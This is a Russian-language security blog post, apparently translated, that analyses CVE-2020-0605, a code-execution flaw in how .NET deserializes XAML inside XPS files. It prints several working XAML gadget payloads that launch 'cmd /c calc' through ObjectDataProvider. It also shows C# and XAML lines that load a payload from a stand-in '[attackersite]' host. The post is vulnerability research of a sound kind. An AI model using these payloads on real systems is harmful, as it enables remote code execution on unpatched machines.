Order Of Six Angles

Main Logo

A security researcher's blog about reverse-engineering, malware and malware analysis

Home | RU | Translations | Tools | Art | About

20 May 2020

tags: windows - exploit

Анализ CVE-2020-0605 – Выполнение произвольного кода, используя XPS файлы в .NET

Оригинал

Введение

Майкрософт запатчила несколько уязвимостей, связанных с десериализацией XPS файлов. Патч, для CVE-2020-0605, вышедший в январе 2020, не исправлял проблему полностью и в мае 2020 было выпущено еще одно обновление.

Формат XPS предполагался, как замена PDF, но, так и не получил широкого распространения. Microsoft сделала приложение XPS Viewer опциональным по-умолчанию, в последних версиях Windows (в установленных с нуля Windows 10 1083 и выше). XPS Viewer не использует .NET, для показа XPS файлов, поэтому уязвимость его не затронула.

Запатченая уязвимость позволяла проэксплуатировать код, работающий с XPS файлами, используя .NET библиотеки.

Обнаруженные уязвимости также могут являться частью эксплуатации XAML десериализации.

Технический анализ

Каждый XPS файл содержит изображения, шрифты или XML данные в сжатом виде. Для обратки XML документов внутри XPS файлов, используется .NET сериализация XAML.

Пример структуры XPS файла:


File.xps\DiscardControl.xml 

File.xps\FixedDocumentSequence.fdseq 

File.xps\[Content_Types].xml 

File.xps\Documents\1\FixedDocument.fdoc 

File.xps\Documents\1\Pages\1.fpage 

File.xps\Documents\1\Pages\_rels\1.fpage.rels 

File.xps\Documents\1\_rels\FixedDocument.fdoc.rels 

File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml 

File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml 

File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf 

File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png 

File.xps\_rels\.rels 

File.xps\_rels\FixedDocumentSequence.fdseq.rels 

Файлы, с расширениями “.fdseq”, “.fdoc” и “.fpage”, используют XAML сериализацию, реализованную в .NET.

Также можно использовать другие расширения, если соответствующие типы прописаны в Content_Types.xml.

Можно взять простую нагрузку из ysoserial и вставить в любой из этих файлов. Он будет запущен, при чтении XPS файла:


<ResourceDictionary 

xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 

 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 

 xmlns:System="clr-namespace:System;assembly=mscorlib" 

 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> 

 <ObjectDataProvider x:Key="LaunchCalc" 

 ObjectType="{x:Type Diag:Process}" 

 MethodName="Start"> 

 <ObjectDataProvider.MethodParameters> 

 <System:String>cmd</System:String> 

 <System:String>/c calc</System:String> 

 </ObjectDataProvider.MethodParameters> 

 </ObjectDataProvider> 

</ResourceDictionary> 

Январский патч защищал только “.fdseq” файл, что позволяло использовать уязвимость, с другим файлами.

Следующий C# код демонстрирует два примера использования XPS файлов в .NET:


XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read); 

var a = myDoc.GetFixedDocumentSequence(); 

или


PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue(); 

PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false); 

Хочется отметить, что BAML файлы (BAML - скомпилированная версия XAML) внутри XPS не могли использоваться для эксплуатации в наших тестах, так как они вызывали внутренние ошибки.

Уязвимые .NET библиотеки

Методы Load и Validate класса XpsValidatingLoader (внутренний класс System.Windows.Documents), вызывают другой приватный метод, который использует XamlReader.Load и могут привести к выполнению произвольного кода, при обработке вредоносного XAML.


System.Windows.Documents.XpsValidatingLoader -> внутренний класс 

    Load -> внутренний метод, используется в: 

        System.Windows.Documents.PageContent 

        System.Windows.Documents.FixedDocument 

        System.Windows.Documents.DocumentReference 

    Validate -> внутренний метод, используется в: 

        System.Windows.Documents.FixedDocument 

Вышеуказанные внутренние файлы классов затем используются другими классами, которые в конце концов будут доступны публично.

XAML гаджеты

Можно использовать уязвимый код, для добавления XAML гаджетов из ysoserial:

Использование FixedDocumentSequence и внешнего файла:


<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"> 

    <DocumentReference Source="http://[attackersite]/payload.xaml" /> 

</FixedDocumentSequence> 

Использование FixedDocumentSequence и свойства Resources:


<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> 

  <FixedDocumentSequence.Resources> 

    <ObjectDataProvider MethodName="Start" x:Key=""> 

      <ObjectDataProvider.ObjectInstance> 

        <sd:Process> 

          <sd:Process.StartInfo> 

            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" /> 

          </sd:Process.StartInfo> 

        </sd:Process> 

      </ObjectDataProvider.ObjectInstance> 

    </ObjectDataProvider> 

  </FixedDocumentSequence.Resources> 

</FixedDocumentSequence> 

Использование FixedDocument и внешнего файла:


<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06"> 

    <PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" /> 

</FixedDocument> 

использование FixedDocument и свойства Resources:


<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> 

  <FixedDocument.Resources> 

    <ObjectDataProvider MethodName="Start" x:Key=""> 

      <ObjectDataProvider.ObjectInstance> 

        <sd:Process> 

          <sd:Process.StartInfo> 

            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" /> 

          </sd:Process.StartInfo> 

        </sd:Process> 

      </ObjectDataProvider.ObjectInstance> 

    </ObjectDataProvider> 

  </FixedDocument.Resources> 

</FixedDocument> 

Вверх